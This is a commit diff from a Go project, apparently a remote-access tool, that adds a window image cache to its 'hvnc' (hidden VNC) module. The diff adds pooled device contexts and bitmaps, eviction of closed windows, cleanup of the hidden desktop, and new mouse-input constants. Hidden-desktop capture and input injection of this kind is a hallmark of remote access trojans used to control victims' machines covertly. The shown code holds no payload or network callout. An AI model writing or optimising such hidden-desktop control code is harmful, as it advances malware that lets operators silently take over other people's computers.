hvnc image cache system (huge imporvement)
This commit is contained in:
@@ -81,6 +81,8 @@ const (
|
|||||||
MOUSEEVENTF_RIGHTUP = 0x0010
|
MOUSEEVENTF_RIGHTUP = 0x0010
|
||||||
MOUSEEVENTF_MIDDLEDOWN = 0x0020
|
MOUSEEVENTF_MIDDLEDOWN = 0x0020
|
||||||
MOUSEEVENTF_MIDDLEUP = 0x0040
|
MOUSEEVENTF_MIDDLEUP = 0x0040
|
||||||
|
MOUSEEVENTF_WHEEL = 0x0800
|
||||||
|
MOUSEEVENTF_ABSOLUTE = 0x8000
|
||||||
INPUT_MOUSE = 0
|
INPUT_MOUSE = 0
|
||||||
INPUT_KEYBOARD = 1
|
INPUT_KEYBOARD = 1
|
||||||
KEYEVENTF_KEYUP = 0x0002
|
KEYEVENTF_KEYUP = 0x0002
|
||||||
@@ -167,6 +169,10 @@ var (
|
|||||||
hvncCurrentTaskID atomic.Uint64
|
hvncCurrentTaskID atomic.Uint64
|
||||||
hvncCurrentTaskKind atomic.Int64
|
hvncCurrentTaskKind atomic.Int64
|
||||||
hvncCurrentTaskNs atomic.Int64
|
hvncCurrentTaskNs atomic.Int64
|
||||||
|
|
||||||
|
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
|
||||||
|
hvncWinCache map[uintptr]*hvncWinCacheEntry
|
||||||
|
hvncWinCachePrev []byte // previous composite frame for dirty detection
|
||||||
)
|
)
|
||||||
|
|
||||||
type hvncTaskKind int
|
type hvncTaskKind int
|
||||||
@@ -242,6 +248,15 @@ type mouseInput struct {
|
|||||||
dwExtraInfo uintptr
|
dwExtraInfo uintptr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type hvncWinCacheEntry struct {
|
||||||
|
hdcMem uintptr
|
||||||
|
hbmp uintptr
|
||||||
|
bits unsafe.Pointer
|
||||||
|
w, h int
|
||||||
|
lastOK bool
|
||||||
|
age int
|
||||||
|
}
|
||||||
|
|
||||||
type keybdInput struct {
|
type keybdInput struct {
|
||||||
wVk uint16
|
wVk uint16
|
||||||
wScan uint16
|
wScan uint16
|
||||||
@@ -332,6 +347,12 @@ func CleanupHVNCDesktop() {
|
|||||||
hvncDesktopMu.Lock()
|
hvncDesktopMu.Lock()
|
||||||
defer hvncDesktopMu.Unlock()
|
defer hvncDesktopMu.Unlock()
|
||||||
|
|
||||||
|
for _, entry := range hvncWinCache {
|
||||||
|
hvncFreeCacheEntry(entry)
|
||||||
|
}
|
||||||
|
hvncWinCache = nil
|
||||||
|
hvncWinCachePrev = nil
|
||||||
|
|
||||||
if hvncDesktopHandle != 0 {
|
if hvncDesktopHandle != 0 {
|
||||||
if hvncOriginalDesktop != 0 {
|
if hvncOriginalDesktop != 0 {
|
||||||
procSetThreadDesktop.Call(hvncOriginalDesktop)
|
procSetThreadDesktop.Call(hvncOriginalDesktop)
|
||||||
@@ -1165,8 +1186,6 @@ func hvncMouseWheelOnThread(delta int32) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
|
|
||||||
// WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
|
|
||||||
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
||||||
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
||||||
return nil
|
return nil
|
||||||
@@ -1279,16 +1298,85 @@ func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target [
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Initialize cache if needed
|
||||||
|
if hvncWinCache == nil {
|
||||||
|
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Track which windows are still alive this frame
|
||||||
|
alive := make(map[uintptr]bool)
|
||||||
|
|
||||||
drawn := 0
|
drawn := 0
|
||||||
for hwnd != 0 {
|
for hwnd != 0 {
|
||||||
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||||
drawn++
|
drawn++
|
||||||
}
|
}
|
||||||
|
alive[hwnd] = true
|
||||||
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Evict cache entries for windows that no longer exist
|
||||||
|
for h, entry := range hvncWinCache {
|
||||||
|
if !alive[h] {
|
||||||
|
hvncFreeCacheEntry(entry)
|
||||||
|
delete(hvncWinCache, h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return drawn
|
return drawn
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCacheEntry {
|
||||||
|
entry, ok := hvncWinCache[hwnd]
|
||||||
|
if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 {
|
||||||
|
entry.age = 0
|
||||||
|
return entry
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
hvncFreeCacheEntry(entry)
|
||||||
|
}
|
||||||
|
hdcMem := createCompatibleDC(hdcScreen)
|
||||||
|
if hdcMem == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
bmi := bitmapInfo{
|
||||||
|
bmiHeader: bitmapInfoHeader{
|
||||||
|
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||||
|
biWidth: int32(w),
|
||||||
|
biHeight: -int32(h),
|
||||||
|
biPlanes: 1,
|
||||||
|
biBitCount: 32,
|
||||||
|
biCompression: BI_RGB,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
var bits unsafe.Pointer
|
||||||
|
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
||||||
|
if hbmp == 0 || bits == nil {
|
||||||
|
deleteDC(hdcMem)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
selectObject(hdcMem, hbmp)
|
||||||
|
|
||||||
|
entry = &hvncWinCacheEntry{
|
||||||
|
hdcMem: hdcMem,
|
||||||
|
hbmp: hbmp,
|
||||||
|
bits: bits,
|
||||||
|
w: w,
|
||||||
|
h: h,
|
||||||
|
}
|
||||||
|
hvncWinCache[hwnd] = entry
|
||||||
|
return entry
|
||||||
|
}
|
||||||
|
|
||||||
|
func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
|
||||||
|
if entry.hbmp != 0 {
|
||||||
|
deleteObject(entry.hbmp)
|
||||||
|
}
|
||||||
|
if entry.hdcMem != 0 {
|
||||||
|
deleteDC(entry.hdcMem)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||||
if !isWindowVisible(hwnd) {
|
if !isWindowVisible(hwnd) {
|
||||||
return false
|
return false
|
||||||
@@ -1315,35 +1403,20 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
hdcMem := createCompatibleDC(hdcScreen)
|
// Use pooled DC+DIB from cache
|
||||||
if hdcMem == 0 {
|
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
||||||
return false
|
if entry == nil {
|
||||||
}
|
|
||||||
defer deleteDC(hdcMem)
|
|
||||||
|
|
||||||
bmi := bitmapInfo{
|
|
||||||
bmiHeader: bitmapInfoHeader{
|
|
||||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
|
||||||
biWidth: int32(winW),
|
|
||||||
biHeight: -int32(winH),
|
|
||||||
biPlanes: 1,
|
|
||||||
biBitCount: 32,
|
|
||||||
biCompression: BI_RGB,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
var bits unsafe.Pointer
|
|
||||||
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
|
||||||
if hbmp == 0 || bits == nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
selectObject(hdcMem, hbmp)
|
|
||||||
defer deleteObject(hbmp)
|
|
||||||
|
|
||||||
if !printWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT) {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
buf := unsafe.Slice((*byte)(bits), winW*winH*4)
|
if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) {
|
||||||
|
entry.lastOK = false
|
||||||
|
entry.age++
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
entry.lastOK = true
|
||||||
|
|
||||||
|
buf := unsafe.Slice((*byte)(entry.bits), winW*winH*4)
|
||||||
winStride := winW * 4
|
winStride := winW * 4
|
||||||
|
|
||||||
interLeft := maxInt(winLeft, bounds.Min.X)
|
interLeft := maxInt(winLeft, bounds.Min.X)
|
||||||
|
|||||||
Reference in New Issue
Block a user